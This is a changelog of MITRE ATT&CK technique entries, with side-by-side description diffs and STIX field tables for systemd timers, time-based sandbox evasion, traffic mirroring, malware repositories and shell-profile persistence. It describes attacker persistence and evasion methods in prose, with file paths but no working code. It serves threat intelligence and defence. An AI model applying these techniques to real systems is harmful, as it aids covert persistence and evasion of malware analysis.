| > | timer</code> file must have a corresponding <code>.service</ | > | s may be activated remotely via the <code>systemctl</code> c | ||
| > | code> file with the same name, e.g., <code>example.timer</co | > | ommand line utility, which operates over [SSH](https://attac | ||
| > | de> and <code>example.service</code>. <code>.service</code> | > | k.mitre.org/techniques/T1021/004).(Citation: Systemd Remote | ||
| > | files are [Systemd Service](https://attack.mitre.org/techniq | > | Control) Each <code>.timer</code> file must have a correspo | ||
| > | ues/T1543/002) unit files that are managed by the systemd sy | > | nding <code>.service</code> file with the same name, e.g., < | ||
| > | stem and service manager.(Citation: Linux man-pages: systemd | > | code>example.timer</code> and <code>example.service</code>. | ||
| > | January 2014) Privileged timers are written to <code>/etc/s | > | <code>.service</code> files are [Systemd Service](https://at | ||
| > | ystemd/system/</code> and <code>/usr/lib/systemd/system</cod | > | tack.mitre.org/techniques/T1543/002) unit files that are man | ||
| > | e> while user level are written to <code>~/.config/systemd/u | > | aged by the systemd system and service manager.(Citation: Li | ||
| > | ser/</code>. An adversary may use systemd timers to execute | > | nux man-pages: systemd January 2014) Privileged timers are w | ||
| > | malicious code at system startup or on a scheduled basis fo | > | ritten to <code>/etc/systemd/system/</code> and <code>/usr/l | ||
| > | r persistence.(Citation: Arch Linux Package Systemd Compromi | > | ib/systemd/system</code> while user level are written to <co | ||
| > | se BleepingComputer 10JUL2018)(Citation: gist Arch package c | > | de>~/.config/systemd/user/</code>. An adversary may use sys | ||
| > | ompromise 10JUL2018)(Citation: acroread package compromised | > | temd timers to execute malicious code at system startup or o | ||
| > | Arch Linux Mail 8JUL2018) Timers installed using privileged | > | n a scheduled basis for persistence.(Citation: Arch Linux Pa | ||
| > | paths may be used to maintain root level persistence. Advers | > | ckage Systemd Compromise BleepingComputer 10JUL2018)(Citatio | ||
| > | aries may also install user level timers to achieve user lev | > | n: gist Arch package compromise 10JUL2018)(Citation: acrorea | ||
| > | el persistence. | > | d package compromised Arch Linux Mail 8JUL2018) Timers insta | ||
| > | lled using privileged paths may be used to maintain root lev | ||||
| > | el persistence. Adversaries may also install user level time | ||||
| > | rs to achieve user level persistence. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 15:20:00.754000+00:00 | 2021-07-27 16:43:25.027000+00:00 |
| description | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)
Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.
An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence. | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)
Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.
An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence. |
| external_references[2]['source_name'] | Linux man-pages: systemd January 2014 | Systemd Remote Control |
| external_references[2]['description'] | Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. | Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021. |
| external_references[2]['url'] | http://man7.org/linux/man-pages/man1/systemd.1.html | https://www.tecmint.com/control-systemd-services-on-remote-linux-server/ |
| external_references[3]['source_name'] | Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 | Linux man-pages: systemd January 2014 |
| external_references[3]['description'] | Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019. | Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. |
| external_references[3]['url'] | https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ | http://man7.org/linux/man-pages/man1/systemd.1.html |
| external_references[4]['source_name'] | gist Arch package compromise 10JUL2018 | Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 |
| external_references[4]['description'] | Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019. | Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019. |
| external_references[4]['url'] | https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a | https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ |
| external_references[5]['source_name'] | acroread package compromised Arch Linux Mail 8JUL2018 | gist Arch package compromise 10JUL2018 |
| external_references[5]['description'] | Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019. | Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019. |
| external_references[5]['url'] | https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html | https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'acroread package compromised Arch Linux Mail 8JUL2018', 'description': 'Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.', 'url': 'https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 22:14:56.107000+00:00 | 2021-10-17 14:12:33.188000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-10 18:29:30.941000+00:00 | 2021-10-18 12:22:50.800000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-10 18:29:30.984000+00:00 | 2021-10-18 12:24:54.198000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various time-based methods to detect | t | 1 | Adversaries may employ various time-based methods to detect |
| > | and avoid virtualization and analysis environments. This may | > | and avoid virtualization and analysis environments. This may | ||
| > | include enumerating time-based properties, such as uptime o | > | include enumerating time-based properties, such as uptime o | ||
| > | r the system clock, as well as the use of timers or other tr | > | r the system clock, as well as the use of timers or other tr | ||
| > | iggers to avoid a virtual machine environment (VME) or sandb | > | iggers to avoid a virtual machine environment (VME) or sandb | ||
| > | ox, specifically those that are automated or only operate fo | > | ox, specifically those that are automated or only operate fo | ||
| > | r a limited amount of time. Adversaries may employ various | > | r a limited amount of time. Adversaries may employ various | ||
| > | time-based evasions, such as delaying malware functionality | > | time-based evasions, such as delaying malware functionality | ||
| > | upon initial execution using programmatic sleep commands or | > | upon initial execution using programmatic sleep commands or | ||
| > | native system scheduling functionality (ex: [Scheduled Task/ | > | native system scheduling functionality (ex: [Scheduled Task/ | ||
| > | Job](https://attack.mitre.org/techniques/T1053)). Delays may | > | Job](https://attack.mitre.org/techniques/T1053)). Delays may | ||
| > | also be based on waiting for specific victim conditions to | > | also be based on waiting for specific victim conditions to | ||
| > | be met (ex: system time, events, etc.) or employ scheduled [ | > | be met (ex: system time, events, etc.) or employ scheduled [ | ||
| > | Multi-Stage Channels](https://attack.mitre.org/techniques/T1 | > | Multi-Stage Channels](https://attack.mitre.org/techniques/T1 | ||
| > | 104) to avoid analysis and scrutiny. Adversaries may also u | > | 104) to avoid analysis and scrutiny.(Citation: Deloitte Envi | ||
| > | se time as a metric to detect sandboxes and analysis environ | > | ronment Awareness) Benign commands or other operations may | ||
| > | ments, particularly those that attempt to manipulate time me | > | also be used to delay malware execution. Loops or otherwise | ||
| > | chanisms to simulate longer elapses of time. For example, an | > | needless repetitions of commands, such as [Ping](https://att | ||
| > | adversary may be able to identify a sandbox accelerating ti | > | ack.mitre.org/software/S0097)s, may be used to delay malware | ||
| > | me by sampling and calculating the expected value for an env | > | execution and potentially exceed time thresholds of automat | ||
| > | ironment's timestamp before and after execution of a sleep f | > | ed analysis environments.(Citation: Revil Independence Day)( | ||
| > | unction.(Citation: ISACA Malware Tricks) | > | Citation: Netskope Nitol) Another variation, commonly referr | ||
| > | ed to as API hammering, involves making various calls to [Na | ||||
| > | tive API](https://attack.mitre.org/techniques/T1106) functio | ||||
| > | ns in order to delay execution (while also potentially overl | ||||
| > | oading analysis environments with junk data).(Citation: Joe | ||||
| > | Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may als | ||||
| > | o use time as a metric to detect sandboxes and analysis envi | ||||
| > | ronments, particularly those that attempt to manipulate time | ||||
| > | mechanisms to simulate longer elapses of time. For example, | ||||
| > | an adversary may be able to identify a sandbox accelerating | ||||
| > | time by sampling and calculating the expected value for an | ||||
| > | environment's timestamp before and after execution of a slee | ||||
| > | p function.(Citation: ISACA Malware Tricks) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-01 15:48:28.345000+00:00 | 2021-10-15 22:37:43.854000+00:00 |
| description | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny. Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness) Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) |
| external_references[1]['source_name'] | ISACA Malware Tricks | Deloitte Environment Awareness |
| external_references[1]['description'] | Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. |
| external_references[1]['url'] | https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Revil Independence Day', 'description': 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.', 'url': 'https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/'} | |
| external_references | {'source_name': 'Netskope Nitol', 'description': 'Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.', 'url': 'https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique'} | |
| external_references | {'source_name': 'Joe Sec Nymaim', 'description': 'Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.', 'url': 'https://www.joesecurity.org/blog/3660886847485093803'} | |
| external_references | {'source_name': 'Joe Sec Trickbot', 'description': "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.", 'url': 'https://www.joesecurity.org/blog/498839998833561473'} | |
| external_references | {'source_name': 'ISACA Malware Tricks', 'description': 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.', 'url': 'https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes'} | |
| x_mitre_contributors | Jorge Orchilles, SCYTHE | |
| x_mitre_contributors | Ruben Dodge, @shotgunner101 | |
| x_mitre_contributors | Jeff Felling, Red Canary |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['SOCCRATES', 'Mnemonic AS'] | |
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:15:20.491000+00:00 | 2021-10-17 16:17:55.499000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage traffic mirroring in order to autom | t | 1 | Adversaries may leverage traffic mirroring in order to autom |
| > | ate data exfiltration over compromised network infrastructur | > | ate data exfiltration over compromised network infrastructur | ||
| > | e. Traffic mirroring is a native feature for some network d | > | e. Traffic mirroring is a native feature for some network d | ||
| > | evices and used for network analysis and may be configured t | > | evices and used for network analysis and may be configured t | ||
| > | o duplicate traffic and forward to one or more destinations | > | o duplicate traffic and forward to one or more destinations | ||
| > | for analysis by a network analyzer or other monitoring devic | > | for analysis by a network analyzer or other monitoring devic | ||
| > | e. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Tr | > | e. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Tr | ||
| > | affic Mirroring) Adversaries may abuse traffic mirroring to | > | affic Mirroring) Adversaries may abuse traffic mirroring to | ||
| > | mirror or redirect network traffic through other network in | > | mirror or redirect network traffic through other network in | ||
| > | frastructure they control. Malicious modifications to networ | > | frastructure they control. Malicious modifications to networ | ||
| > | k devices to enable traffic redirection may be possible thro | > | k devices to enable traffic redirection may be possible thro | ||
| > | ugh [ROMMONkit](https://attack.mitre.org/techniques/T1542/00 | > | ugh [ROMMONkit](https://attack.mitre.org/techniques/T1542/00 | ||
| > | 4) or [Patch System Image](https://attack.mitre.org/techniqu | > | 4) or [Patch System Image](https://attack.mitre.org/techniqu | ||
| > | es/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco | > | es/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco | ||
| > | Blog Legacy Device Attacks) Adversaries may use traffic dupl | > | Blog Legacy Device Attacks) Adversaries may use traffic dupl | ||
| > | ication in conjunction with [Network Sniffing](https://attac | > | ication in conjunction with [Network Sniffing](https://attac | ||
| > | k.mitre.org/techniques/T1040), [Input Capture](https://attac | > | k.mitre.org/techniques/T1040), [Input Capture](https://attac | ||
| > | k.mitre.org/techniques/T1056), or [Man-in-the-Middle](https: | > | k.mitre.org/techniques/T1056), or [Adversary-in-the-Middle]( | ||
| > | //attack.mitre.org/techniques/T1557) depending on the goals | > | https://attack.mitre.org/techniques/T1557) depending on the | ||
| > | and objectives of the adversary. | > | goals and objectives of the adversary. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 02:24:54.640000+00:00 | 2021-08-16 15:23:37.640000+00:00 |
| description | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring) Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring) Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-15 16:55:44.483000+00:00 | 2021-07-26 22:34:43.261000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence through executing mali | t | 1 | Adversaries may establish persistence through executing mali |
| > | cious commands triggered by a user’s shell. User [Unix Shell | > | cious commands triggered by a user’s shell. User [Unix Shell | ||
| > | ](https://attack.mitre.org/techniques/T1059/004)s execute se | > | ](https://attack.mitre.org/techniques/T1059/004)s execute se | ||
| > | veral configuration scripts at different points throughout t | > | veral configuration scripts at different points throughout t | ||
| > | he session based on events. For example, when a user opens a | > | he session based on events. For example, when a user opens a | ||
| > | command-line interface or remotely logs in (such as via SSH | > | command-line interface or remotely logs in (such as via SSH | ||
| > | ) a login shell is initiated. The login shell executes scrip | > | ) a login shell is initiated. The login shell executes scrip | ||
| > | ts from the system (<code>/etc</code>) and the user’s home d | > | ts from the system (<code>/etc</code>) and the user’s home d | ||
| > | irectory (<code>~/</code>) to configure the environment. All | > | irectory (<code>~/</code>) to configure the environment. All | ||
| > | login shells on a system use /etc/profile when initiated. T | > | login shells on a system use /etc/profile when initiated. T | ||
| > | hese configuration scripts run at the permission level of th | > | hese configuration scripts run at the permission level of th | ||
| > | eir directory and are often used to set environment variable | > | eir directory and are often used to set environment variable | ||
| > | s, create aliases, and customize the user’s environment. Whe | > | s, create aliases, and customize the user’s environment. Whe | ||
| > | n the shell exits or terminates, additional shell scripts ar | > | n the shell exits or terminates, additional shell scripts ar | ||
| > | e executed to ensure the shell exits appropriately. Advers | > | e executed to ensure the shell exits appropriately. Advers | ||
| > | aries may attempt to establish persistence by inserting comm | > | aries may attempt to establish persistence by inserting comm | ||
| > | ands into scripts automatically executed by shells. Using ba | > | ands into scripts automatically executed by shells. Using ba | ||
| > | sh as an example, the default shell for most GNU/Linux syste | > | sh as an example, the default shell for most GNU/Linux syste | ||
| > | ms, adversaries may add commands that launch malicious binar | > | ms, adversaries may add commands that launch malicious binar | ||
| > | ies into the <code>/etc/profile</code> and <code>/etc/profil | > | ies into the <code>/etc/profile</code> and <code>/etc/profil | ||
| > | e.d</code> files.(Citation: intezer-kaiji-malware)(Citation: | > | e.d</code> files.(Citation: intezer-kaiji-malware)(Citation: | ||
| > | bencane blog bashrc) These files typically require root per | > | bencane blog bashrc) These files typically require root per | ||
| > | missions to modify and are executed each time any shell on a | > | missions to modify and are executed each time any shell on a | ||
| > | system launches. For user level permissions, adversaries ca | > | system launches. For user level permissions, adversaries ca | ||
| > | n insert malicious commands into <code>~/.bash_profile</code | > | n insert malicious commands into <code>~/.bash_profile</code | ||
| > | >, <code>~/.bash_login</code>, or <code>~/.profile</code> wh | > | >, <code>~/.bash_login</code>, or <code>~/.profile</code> wh | ||
| > | ich are sourced when a user opens a command-line interface o | > | ich are sourced when a user opens a command-line interface o | ||
| > | r connects remotely.(Citation: anomali-rocke-tactics)(Citati | > | r connects remotely.(Citation: anomali-rocke-tactics)(Citati | ||
| > | on: Linux manual bash invocation) Since the system only exec | > | on: Linux manual bash invocation) Since the system only exec | ||
| > | utes the first existing file in the listed order, adversarie | > | utes the first existing file in the listed order, adversarie | ||
| > | s have used <code>~/.bash_profile</code> to ensure execution | > | s have used <code>~/.bash_profile</code> to ensure execution | ||
| > | . Adversaries have also leveraged the <code>~/.bashrc</code> | > | . Adversaries have also leveraged the <code>~/.bashrc</code> | ||
| > | file which is additionally executed if the connection is es | > | file which is additionally executed if the connection is es | ||
| > | tablished remotely or an additional interactive shell is ope | > | tablished remotely or an additional interactive shell is ope | ||
| > | ned, such as a new tab in the command-line interface.(Citati | > | ned, such as a new tab in the command-line interface.(Citati | ||
| > | on: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anom | > | on: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anom | ||
| > | ali-linux-rabbit)(Citation: Magento) Some malware targets th | > | ali-linux-rabbit)(Citation: Magento) Some malware targets th | ||
| > | e termination of a program to trigger execution, adversaries | > | e termination of a program to trigger execution, adversaries | ||
| > | can use the <code>~/.bash_logout</code> file to execute mal | > | can use the <code>~/.bash_logout</code> file to execute mal | ||
| > | icious commands at the end of a session. For macOS, the fu | > | icious commands at the end of a session. For macOS, the fu | ||
| > | nctionality of this technique is similar but may leverage zs | > | nctionality of this technique is similar but may leverage zs | ||
| > | h, the default shell for macOS 10.15+. When the Terminal.app | > | h, the default shell for macOS 10.15+. When the Terminal.app | ||
| > | is opened, the application launches a zsh login shell and a | > | is opened, the application launches a zsh login shell and a | ||
| > | zsh interactive shell. The login shell configures the syste | > | zsh interactive shell. The login shell configures the syste | ||
| > | m environment using <code>/etc/profile</code>, <code>/etc/zs | > | m environment using <code>/etc/profile</code>, <code>/etc/zs | ||
| > | henv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlog | > | henv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlog | ||
| > | in</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJ | > | in</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJ | ||
| > | XA_leopitt)(Citation: code_persistence_zsh) The login shell | > | XA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS | ||
| > | then configures the user environment with <code>~/.zprofile< | > | MS office sandbox escape) The login shell then configures th | ||
| > | /code> and <code>~/.zlogin</code>. The interactive shell use | > | e user environment with <code>~/.zprofile</code> and <code>~ | ||
| > | s the <code>~/.zshrc</code> to configure the user environmen | > | /.zlogin</code>. The interactive shell uses the <code>~/.zsh | ||
| > | t. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlog | > | rc</code> to configure the user environment. Upon exiting, < | ||
| > | out</code> are executed. For legacy programs, macOS executes | > | code>/etc/zlogout</code> and <code>~/.zlogout</code> are exe | ||
| > | <code>/etc/bashrc</code> on startup. | > | cuted. For legacy programs, macOS executes <code>/etc/bashrc | ||
| > | </code> on startup. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-08 15:22:54.089000+00:00 | 2021-08-20 18:01:52.120000+00:00 |
| description | Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session.
For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup. | Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
